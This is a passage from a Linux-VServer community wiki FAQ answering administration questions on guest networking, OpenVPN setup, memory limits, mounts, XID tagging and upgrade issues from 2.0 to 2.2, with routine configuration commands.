For legacy Linux-VServer (i.e. 1.2.x), you have to replace /sbin/halt in the guests with vreboot and start rebootmgr in the host. You also need to have a <guest>.conf file in /etc/vservers for each guest. Please have a look at /etc/init.d/rebootmgr.<br />
For Linux-VServer 2.0+, sys_reboot has been virtualized to do the right thing. No changes are needed in guests.|Signature=derjohn}}<br />
<br />
{{Question|Question=Do I really need the legacy-interfaces? What are these legacy-interfaces?||Details=<br />
A: Since Linux-VServer is an ongoing project, new features might replace old ones, some might require a development version. Legacy-interfaces are available for backward compability (which might be removed someday) with Linux-VServer 1.2.x.|Signature=derjohn}}<br />
<br />
{{Question|Question=I have a vserver running on a Linux kernel with preemption. Is VServer "preempt" safe?||Details=<br />
A: There are no known issues about running vserver on a preemption enabled kernel. I would like to add, that the vserver kernelhackers would probably exclude that option in 'make menuconfig' if there would be an incompatibility. Just my $.02 :)|Signature=derjohn}}<br />
<br />
{{Question|Question=Is this a new project? When was it started?||Details=<br />
A: The first public occurrence of Linux-VServer was Oct 2001. The initial mail can be found here: http://www.cs.helsinki.fi/linux/linux-kernel/2001-40/1065.html<br />
So you can expect a mature software product which does its magic quite well (And hey, we have a version > 2.0!)|Signature=derjohn}}<br />
<br />
<br />
{{Question|Question=Can I run an OpenVPN Server in a guest?||Details=<br />
A: Yes. To get a OpenVPN Server running in a guest, all networking setup has to be done on the host. This answer describes the common case and shows some pitfalls, for detailled information about OpenVPN, please consult the appropriate documentation on the OpenVPN homepage.<br />
<br />
This is the minimal OpenVPN configuration for the Server which will be used to demonstrate how to get it running in a client:<br />
<br />
<pre><br />
# Networking setup<br />
server 192.168.16.0 255.255.255.0<br />
dev tun16<br />
ifconfig-noexec<br />
comp-lzo<br />
# Certificates<br />
dh ...<br />
ca ...<br />
cert ...<br />
key ...<br />
# Management<br />
persist-key<br />
keepalive 10 60<br />
verb 4<br />
</pre><br />
<br />
First of all you have to prepare the host with a persistent interface in the right mode and with the right settings. This is easily done by using openvpn and the ip and route tools.<br />
<br />
<pre><br />
# openvpn --mktun --dev tun16<br />
# ip link set dev tun16 txqueuelen 100<br />
# ifconfig tun16 192.168.16.1 pointopoint 192.168.16.2 mtu 1500<br />
# route add -net 192.168.16.0 netmask 255.255.255.0 gw 192.168.16.2<br />
</pre><br />
<br />
If you need different settings, openvpn will tell you the ifconfig and route commands it uses to configure the interface when being started on the host with the original config file, but without ifconfig-noexec.<br />
<br />
Additionally, the guest needs /dev/net/tun to make OpenVPN happy. This can be created with MAKEDEV:<br />
<br />
<pre><br />
# cd /var/lib/vserver/<myopenvpnserver>/dev/<br />
# ./MAKEDEV tun<br />
(creates the dev/net/tun device accessible by the guest - even a tap interface needs /dev/net/tun !)<br />
</pre><br />
<br />
Finally, the guest needs to have the tun device assigned:<br />
<pre><br />
# head /etc/vservers/<myopenvpnserver>/interfaces/1/*<br />
==> /etc/vservers/<myopenvpnserver>/interfaces/1/ip <==<br />
192.168.16.1<br />
<br />
==> /etc/vservers/<myopenvpnserver>/interfaces/1/nodev <==<br />
tun16<br />
<br />
==> /etc/vservers/<myopenvpnserver>/interfaces/1/prefix <==<br />
24<br />
#<br />
</pre><br />
<br />
The client's conf may look like that:<br />
<pre><br />
# Basic setup<br />
client<br />
proto tcp-client<br />
dev tun<br />
remote <ipaddress><br />
comp-lzo<br />
verb 4<br />
<br />
# Certificate<br />
ca ...<br />
</pre><br />
<br />
[ Based on derJohn's original answer, all errors mine ] |Signature=DavidS}}<br />
<br />
{{Question|Question=32 vs 64 Bit? What should I take?||Details=<br />
A: If you have the choice make the host a 64 bit one. You can run a guest as 32 bit or as 64 bit on a 64 bit host. To run it as 32 bit, you need to compile the x86_64 (a.k.a. AMD64) with the following options:<br />
<br />
<pre><br />
[*] Kernel support for ELF binaries<br />
<M> Kernel support for MISC binaries<br />
[*] IA32 Emulation <---- without that, the entire 32bit API is not present<br />
<M> IA32 a.out support <br />
</pre><br />
<br />
You can force the guest to behave like a 32 environment like this:<br />
<pre><br />
echo linux_32bit > /etc/vservers/$NAME/personality<br />
echo i686 > /etc/vservers/$NAME/uts/machine<br />
</pre><br />
(thanks cehteh for the hint!)<br />
<br />
But you can force debootstrap to put 32 bit binaries into the guest by 'export ARCH=i386';<br />
<pre><br />
export ARCH=i386 ; vserver build .... <br />
</pre>|Signature=derjohn}}<br />
<br />
{{Question|Question=I want to (re)mount a partition in a running guest ... but the guest has no rights (capability) to (re)mount?||Details=<br />
A: I'll explain. I take as example your /tmp partition within the guest is too small, what will be likely the case if you stay with the 16MB default (vserver build mounts /tmp as 16 MB tmpfs!).<br />
<pre><br />
# vnamespace -e XID mount -t tmpfs -o remount,size=256m,mode=1777 none /var/lib/vservers/<guest>/tmp/<br />
</pre><br />
(if there's a problem, try expanding the symlinks in the mount path)<br />
Be warned that the guest will not recognize the change, as the /etc/mtab file is not updated when you mount like this. To permanently change the mount, edit /etc/vserver/<guest>/fstab on the host.|Signature=derjohn}}<br />
<br />
<br />
{{Question|Question=How do I limit a guests RAM? I want to prevent OOM situations on the host!||Details=<br />
A: First you can read [http://linux-vserver.org/Memory+Allocation] and [[Memory Limits]].<br />
<br />
If you want a recipe, do this:<br />
1. Check the size of memory pages. On x86 and x86_64 is usually 4 KB per page.<br />
2. Create /etc/vserver/<guest>/rlimits/<br />
3. Check your physical memory size on the host, e.g. with "free -m". maxram = kilobytes/pagesize.<br />
4. Limit the guests physical RAM to value smaller then maxram:<br />
<br />
<pre><br />
echo %%insertYourPagesHereSmallerThanMaxram%% > /etc/vserver/<guest>/rlimits/rss<br />
</pre><br />
<br />
5. Check your swapspace, e.g. with 'swapon -s'. maxswap = swapkilobytes/pagesize.<br />
6. Limit the guest's maximum number of as pages to a value smaller than (maxram+maxswap):<br />
<br />
<pre><br />
echo %%desiredvalue%% > /etc/vserver/<guest>/rlimits/as<br />
</pre><br />
<br />
It should be clear this can still lead to OOM situations. Example: You have two guests and your as limit per guest is greater than 50% of (maxram+maxswap). If both guests request their maximum at the same point in time, there will be not enough mem .....|Signature=derjohn}}<br />
<br />
<br />
{{Question|Question=Were can I get newer versions of VServer as ready made packages for Debian?||Details=<br />
A: Here you go: http://linux-vserver.derjohn.de/ . There is also some stuff on backports.org, but my kernels are always 'devel' branch.|Signature=derjohn}}<br />
<br />
{{Question|Question=Can I use iptables ?||Details=<br />
Yes but right now only on the host (rootserver). Please realize that all traffic is local and will not touch the forward chain.|Signature=BeginnerFAQ}}<br />
<br />
{{Question|Question=Trying to connect to a vserver from the host or another vserver on the same host fails||Details=<br />
strace shows<br />
<pre> <br />
sin_addr=inet_addr("xx.xx.xx.xx")}, yy) = -1 EINVAL (Invalid argument)<br />
</pre><br />
A: The host/guest cannot communicate with another guest on same host.<br />
* check all netmasks on all interfaces (do they overlap) ?<br />
* check policy routing (disable it temporary) ?<br />
* check that lo is up (Networking within a host/guest always uses lo interface)<br />
|Signature=CommonProblems}}<br />
<br />
{{Question|Question=#1 ERROR: capset(): Operation not permitted||Details=capabilities are not enabled in kernel-setup<br />
please check that CONFIG_SECURITY_CAPABILITIES is loaded or included in the kernel. ( check with "cat /path_to_kernel/.config | grep -i cap ")<br />
(2.6.11.5-vs-1.9.5 + 0.30-205)|Signature=IrcQuestions}}<br />
<br />
{{Question|Question=How can I make 'vserver start' mount the root filesystem?||Details=<br />
Mount it via /etc/vservers/vserver-name/fstab, make sure to set the option 'dev' e.g.:<br />
<pre>/dev/drbd0 / xfs rw,dev 0 0</pre><br />
|Signature=AdrianReyer}}<br />
<br />
{{Question|Question=How do I tag a guest's directory with xid?||Details=<br />
Tagging the guest's files gives you serveral advantages, e.g. the accoutung will work properly.<br />
Filesystem XID tagging only works on supported filesystem. Those are currently: ext2/3, reiserfs/reiser3, xfs and jfs.<br />
To activate the XID tagging you have to mount the filesystem with "-o tag" (former tagxid is outdated since VS2.2). Attention: It's _not_ possible to "-o remount,tag", you have to mount it freshly. The guests will tag their files automatiaclly. If you copy files in from the host, you have to tag them manually like this:<br />
<pre>chxid -c xid -R /var/lib/vservers/<guest></pre><br />
Note: Context 0 and 1 will see all files, guests will only be able to access untagged files and their own XID. They can see other XID files but no information about the file, e.g. no owner, no group, no permissions.<br />
<br />
|Signature=derjohn_and_gonzo_and_are}}<br />
<br />
More FAQs to be merged;<br />
[http://www.linux-vserver.org/Frequently_Asked_Questions_scratch]<br />
<br />
{{Question|Question=My mysqld running in a guest behaves strangely and is awfully slow/locks up||Details=<br />
This can be related to /tmp being too small. mysqld stores temporary tables in /tmp and as such, if a lot of queries happen and /tmp runs full this can cause one query to lock up whilst creating the tmp table and all other queries waiting to acquire the lock. There are two possible solutions to that problem: a.) Modify /etc/vservers/vserver-name/fstab and assign more memory to the tmpfs of /tmp and b.) remove the /tmp entry from /etc/vservers/vserver-name/fstab completly. Especially on database servers with a rather high load the second one might be the preferred method.|Signature=sp}}<br />
<br />
<br />
{{Question|Question=I deleted a guest's directory without shutting it down. Now I have a "ghost" running. Is there any possibility to get it out of proc without rebooting?||Details=vkill --xid <xid> -s 15; sleep 2; vkill --xid <xid> -s 9|Signature=daniel_hozac}}<br />
<br />
{{Question|Question=When using nice and su (for example, in the updatedb cron job), I get: su: Permission denied. What does it mean?||Details=A guest cannot lower its nice value - and that's what 'su' does through pam_limits which sets a nice value of 0. You can see it through strace:<br />
$ strace nice su nobody<br />
[...]<br />
setpriority(PRIO_PROCESS, 0, 0) = -1 EACCES (Permission denied)<br />
You can use 'su nobody -c nice some_cmd' instead.<br />
(Now there's the question of why a guest process cannot lower its nice value.)<br />
|Signature=daniel_hozac&Beuc}}<br />
<br />
{{Question|Question=What is the initial PATH?||Details=By default, vserver uses the 'sysv' startup style, which mimics the init process by running the 3rd runlevel through '/etc/init.d/rc 3' (or '/etc/rc.d/rc 3'). Usually this 'rc' script uses a hard-coded PATH. In the case it doesn't, util-vserver also mimics init's default PATH through /etc/vservers/.defaults/apps/init/environment, or if not present /usr/local/lib/util-vserver/defaults/environment. Beware that all those default PATH usually do not include /usr/local.|Signature=daniel_hozac&Beuc}}<br />
<br />
{{Question|Question=When I try to start a guest i get this message "/proc/uptime can not be accessed. Usually, this is caused by procfs-security. Please read the FAQ for more details"?||Details=<br />
A: After a reboot you need to run the vprocunhide script. If running this script causes many errors to print on the screen, try checking the kernel you have booted with (perhaps it does not have the linux-vserver extensions enabled).<br />
|Signature=mattzerah}}<br />
<br />
{{Question|Question=Does anyone know how to increase the size of /tmp within a vserver w/o restarting?||Details= vnamespace -e guest mount -n -o remount,size=32m /vservers/<guest>/tmp or something like that.|Signature=derjohn/dhozac}}<br />
<br />
{{Question|Question=VServer is included in the stable Debian GNU/Linux for years now. What VS version did they include?||Details=At the time of writing, Debian Etch is the stable release of Debian and includes a 2.6.18 based kernel-package called 2.6.18-4-vserver. This currently contains a VServer 2.0.2.2-rc9. If you need more features, build an own one or take it from derjohn's ( http://linux-vserver.derjohn.de , details on derjohn's blog: http://blog.derjohn.de/snipsnap/space/start/2007-04-22/1 .|Signature=derjohn/dhozac}}<br />
<br />
{{Question|Question=How do i install nagios-plugins on a Gentoo guest?||Details=Unfortunately, the nagios-plugins ./configure scripts wants to ping 127.0.0.1 which is not available inside a guest. Therefore you have to build nagios-plugins outside the guest.<br />
<br />
The easiest way to do this from the host (assuming the guest is running) is:<br />
<br />
<pre><br />
vnamespace -e <xid> -- chroot /vservers/<name> emerge nagios-plugins -va<br />
</pre>|Signature=Hollow}}<br />
<br />
{{Question|Question=How do I assign a new IP address to a running guest?||Details=This is done from the host server:<br />
<br />
* add the ip on the host, for example<br />
<pre><br />
ip addr add 194.169.123.23/24 dev eth0 <br />
</pre><br />
* add the ip to the guest's network context (a guests NID is the same as the XID {context ID})<br />
<pre><br />
naddress --add --nid <nid> --ip 194.169.123.23/24 <br />
</pre><br />
* enter the guest (best via ssh) <br />
* restart the services that need to make use of the new address if required <br />
* update the config in ''/etc/vserver/<servername>/interfaces'' to reflect the changes for the next guest restart (if desired)<br />
<br />
|Signature=BenjaminGreen}}<br />
<br />
{{Question|Question=Somebody runs ntpd in guest and you can't use ntpdate in host?||Details=<br />
Try to run ntpdate with options -u :<br />
ntpdate -u ntp.domain.xy<br />
or you can use command:<br />
chbind --nid 42 --ip 1.2.3.4 -- ntpdate ntp.domain.xy<br />
where IP will be the IP of host.|Signature=Punkie/Bertl}}<br />
<br />
{{Question|Question=How do I handle NFS mounts within in a guest?||Details=<br />
A: There are three ways. <br />
<br />
'''1)''' Mount the NFS share from the host OS and let vserver guest access it as part of it's file system.<br />
<br />
''mount --bind'' may also be beneficial in this scenario.<br />
<br />
'''2)''' Use util-vserver and create a ''fstab.remote'' file in the /etc/vserver/<vserver_name> directory. Populate this with the NFS shares and they will be mounted in the context of the vserver guest.<br />
<br />
See http://www.nongnu.org/util-vserver/doc/conf/configuration.html<br />
<br />
'''3)''' Add capabilities to the vserver guest instance to grant sufficient rights to allow NFS mounts.<br />
<br />
Add the following to /etc/vserver/<vserver_name>/bcapabilities<br />
SYS_ADMIN<br />
<br />
Add the following to /etc/vserver/<vserver_name>/ccapabilities<br />
SECURE_MOUNT<br />
BINARY_MOUNT<br />
<br />
See [[Capabilities_and_Flags]] for more information about vserver capabilities.<br />
<br />
If you want the NFS shares to be mounted when the guest starts, add them to /etc/vserver/<vserver_name>/fstab<br />
<br />
||Signature=martindk}}<br />
<br />
<br />
{{Question|Question=Pure-FTP does not run inside a VServer?||Details=That's because it has capabilities enabled, make sure you rebuild your distro's package passing also the `--without-capabilities` flag to configure.|Signature=Pedro Algarvio, aka, s0undt3ch}}<br />
<br />
{{Question|Question=Why do neither sshd nor crond (vixie-cron) work correctly in my CentOS / Fedora guest? I get 'pam_loginuid(crond:session): set_loginuid failed opening loginuid' and similar lines in my logs.<br />
||Details=Took me a while to figure this out, and it turned out to be mentioned in the old wiki. Here is the solution on how to solve a common problem with sshd / crond, somehow related to selinux and auditing:<br />
<br />
pam authentication (also used with openssh) enables "pam_loginuid.so" in the /etc/pam.d/* files. Comment those out as they are not necessary and will not load within a guest anyway. This probably is also necessary on updates later on, if the configs get changed. You therefore may add the following command line to a cronjob file or your software update script:<br />
<br />
<pre>/bin/sed --in-place -e "s/^session.*required.*pam_loginuid.so/# session\trequired\tpam_loginuid.so/g" /etc/pam.d/*</pre><br />
<br />
|Signature=patrick}}<br />
<br />
<br />
== Upgrade from 2.0 to 2.2 ==<br />
<br />
{{Question|Question=I now get errors like "ncontext: vc_net_create(): Invalid argument; dynamic contexts disabled." on startup. Vservers are not started||Details=Dynamic context are disabled by default and are deprecated. For example, tagxid and network checks won't be useable with dynamic ids. Now you should manually assign a explicit context to your vservers, like<br />
echo 101 > /etc/vservers/myvserv/context<br />
ADDENDUM: please consider that valid static contexts are between 2 and 49151 ( daniel_hozac on IRC ) otherwise you will end up with unexplainable error "ncontext: vc_net_migrate(): No such process" when trying to start the vserver.<br />
<br />
|Signature=daniel_hozac&Beuc}}<br />
<br />
<br />
{{Question|Question=How do I assign a static context to an existing vserver?||Details=Simple ;) See the answer above. |Signature=gcc}}<br />
<br />
<br />
{{Question|Question=Since upgrading to a newer VS version my guest complains about "vsched: non-numeric value specified for '--priority_bias" at start time. What's wrong?||Details=The scheduler paramters changed.You can use this (ugly) script to convert them or do it by hand:<br />
<br />
<pre><br />
# cat /usr/local/sbin/vserver-convert-schedule-to-scheddir<br />
#/bin/sh<br />
mkdir /etc/vservers/$1/sched<br />
sed -e 1p -n /etc/vservers/$1/schedule > /etc/vservers/$1/sched/fill-rate<br />
sed -e 2p -n /etc/vservers/$1/schedule > /etc/vservers/$1/sched/interval<br />
sed -e 3p -n /etc/vservers/$1/schedule > /etc/vservers/$1/sched/tokens<br />
sed -e 4p -n /etc/vservers/$1/schedule > /etc/vservers/$1/sched/tokens-min<br />
sed -e 5p -n /etc/vservers/$1/schedule > /etc/vservers/$1/sched/tokens-max<br />
<br />
mv /etc/vservers/$1/schedule /etc/vservers/$1/schedule.converted.see.scheddir<br />
<br />
# see: http://oldwiki.linux-vserver.org/Scheduler+Parameters<br />
# see: http://www.nongnu.org/util-vserver/doc/conf/configuration.html#sched<br />
</pre><br />
||Signature=derjohn}}<br />
<br />
<br />
{{Question|Question=Since upgrading to a newer VS version my guest doesn't have the amount of shared memory (SHM / SHMMAX / SHMALL ) as it had in the former version. What changed?||Details=Every VS version that runs on a kernel >= 2.6.19 offers sysctl values per guest. This has to do with the 'ipc namespace' feature that was added to the mainline kernel in version 2.6.19. Linux-VServer uses that feature to give each guest a separate 'ipc namespace' and thus 'own' sysctl values per guest. Because shmmax is such a sysctl value, you have to set it per guest.<br />
Here is an example how to do so:<br />
<br />
<pre><br />
# mkdir /etc/vservers/<vserver>/sysctl/0 -p<br />
# echo kernel.shmall > /etc/vservers/<vserver>/sysctl/0/setting<br />
# echo 134217728 > /etc/vservers/<vserver>/sysctl/0/value<br />
# mkdir /etc/vservers/<vserver>/sysctl/1 -p<br />
# echo kernel.shmmax > /etc/vservers/<vserver>/sysctl/1/setting<br />
# echo 134217728 > /etc/vservers/<vserver>/sysctl/1/value<br />
</pre><br />
It's also explained on the geat flower page:<br />
# see: http://www.nongnu.org/util-vserver/doc/conf/configuration.html -> Look for "sysctl".<br />
<br />
After changing those values, restart your guest, enter it and check if the values are set:<br />
<br />
<pre><br />
# sysctl -a | grep shm<br />
...<br />
kernel.shmall = 134217728<br />
kernel.shmmax = 134217728<br />
</pre><br />
<br />
||Signature=derjohn}}</div>Daniel hozac